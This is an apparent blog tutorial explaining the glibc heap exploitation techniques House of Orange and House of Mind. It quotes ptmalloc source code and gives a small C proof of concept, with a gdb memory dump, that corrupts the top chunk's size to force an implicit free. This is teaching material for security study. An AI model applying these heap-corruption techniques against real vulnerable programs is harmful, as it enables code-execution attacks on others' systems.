Advanced Heap Exploitation: House of Mind & House of Orange

Featherine

Introduction

In this post, I will introduce the exploitation techniques on House of Mind and House of Orange. I will use sample codes, which are similar to the sample code given in [1] to demonstrate House of Orange. For House of Mind, I will try to give a detailed explanation based on source code and debugging info. House of Mind was considered a dead techniques in heap exploitation in the past. However, File Stream Orient Programming (FSOP) has brought life to this technique again.

House of Orange

In [1], the author combines House of Orange and FSOP together to demonstrate the power of House of Orange. From my perspective, House of Orange is a technique to trigger deallocation even if there is no explicit free function in application.

House of Orange tries to trigger sysmalloc first and then invoke the _int_free in the function as shown below.

if (old_size >= MINSIZE)
{
     set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
     set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
     set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
     _int_free (av, old_top, 1);
}
else
{
     set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
     set_foot (old_top, (old_size + 2 * SIZE_SZ));
}

To trigger _int_free, attacker has to bypass the two assertions in sysmalloc below:

old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));

assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

To summarise, at least one of the following conditions has to be satisfied.
1 old_size is equal to 0 and old_top is unsorted bin.
2 old_size is larger than the minimal size, P bit of old_top is set and end of top chunk is page aligned.

In House of Orange, we try to satisfy the second condition to trigger the implicit free. We use the following code to demonstrate House of Orange.

//gcc hoo.c -o hoo -no-pie
#include<stdio.h>
#include<stdlib.h>

int main()
{
	unsigned long *p1 = malloc(0x3f0);

	//overwrite the size of top chunk
	*(p1+0x7f) = 0xc01;

	//trigger implicit free
	malloc(0x1000);
	return 0;
}
/* Memory dump*/
/*
step1: Memory status after corrupting the top chunk
(gdb) x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000401
0x602010:	0x0000000000000000	0x0000000000000000
(gdb) x/4gx 0x602400
0x602400:	0x0000000000000000	0x0000000000000c01
0x602410:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b00 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:	0x0000000000000000	0x0000000000602400
0x7ffff7dd3b60 <main_arena+96>:	0x0000000000000000	0x00007ffff7dd3b58
0x7ffff7dd3b70 <main_arena+112>:	0x00007ffff7dd3b58	0x00007ffff7dd3b68

step2: memory status after the second allocation
(gdb) x/4gx 0x602400
0x602400:	0x0000000000000000	0x0000000000000be1
0x602410:	0x00007ffff7dd3b58	0x00007ffff7dd3b58

0x7ffff7dd3b00 <main_arena>:	0x0000000100000000	0x0000000000000000
0x7ffff7dd3b10 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7dd3b50 <main_arena+80>:	0x0000000000000000	0x0000000000624010
0x7ffff7dd3b60 <main_arena+96>:	0x0000000000000000	0x0000000000602400
0x7ffff7dd3b70 <main_arena+112>:	0x0000000000602400	0x00007ffff7dd3b68
*/

If the attacker is able to corrupt the metadata of top chunk and trigger allocation of a large chunk, we can observe that the top chunk is inserted into the unsorted bin and new top chunk is 0x624010 now.

House of Mind

House of Mind is the only exploitation techniques in this series tutorial that exploit the C bit of the vulnerable chunk. As denoted in the data structure of ptmalloc, the C bit represents if the current chunk belongs to the main chunk or not.
House of Mind tries to take advantage of the following code for exploitation.

#define heap_for_ptr(ptr) \
  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \
  (chunk_main_arena (ptr) ? &main_arena : heap_for_ptr (ptr)->ar_ptr)

ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);

If the C bit of the chunk that is to be freed is not set, it will try to locate the arena of current chunk in the chunk itself. Therefore it leaves chances for attacker to exploit. Attacker can craft a fake arena in it and try to exploit using the malloc_consolidate in _int_free.

if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
    if (have_fastchunks(av))
        malloc_consolidate(av);

    if (av == &main_arena) {
#ifndef MORECORE_CANNOT_TRIM
        if ((unsigned long)(chunksize(av->top)) >=
	    (unsigned long)(mp_.trim_threshold))
	   systrim(mp_.top_pad, av);
#endif
    } else {
        /* Always try heap_trim(), even if the top chunk is not
           large, because the corresponding heap might go away.  */
        heap_info *heap = heap_for_ptr(top(av));
        assert(heap->ar_ptr == av);
        heap_trim(heap, mp_.top_pad);
    }
}

After invoking the malloc_consolidate above, we try to trigger the following execution path, which is very similar to unsorted bin attack.

first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;

Conclusion

In this post, we present House of Mind and House of Orange, two exploitation techniques on corrupting the data in top chunk. The exploitation techniques behind those two techniques show the deep understanding of the source code of libc.

Reference

[1] https://github.com/shellphish/how2heap/blob/master/house_of_orange.c

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.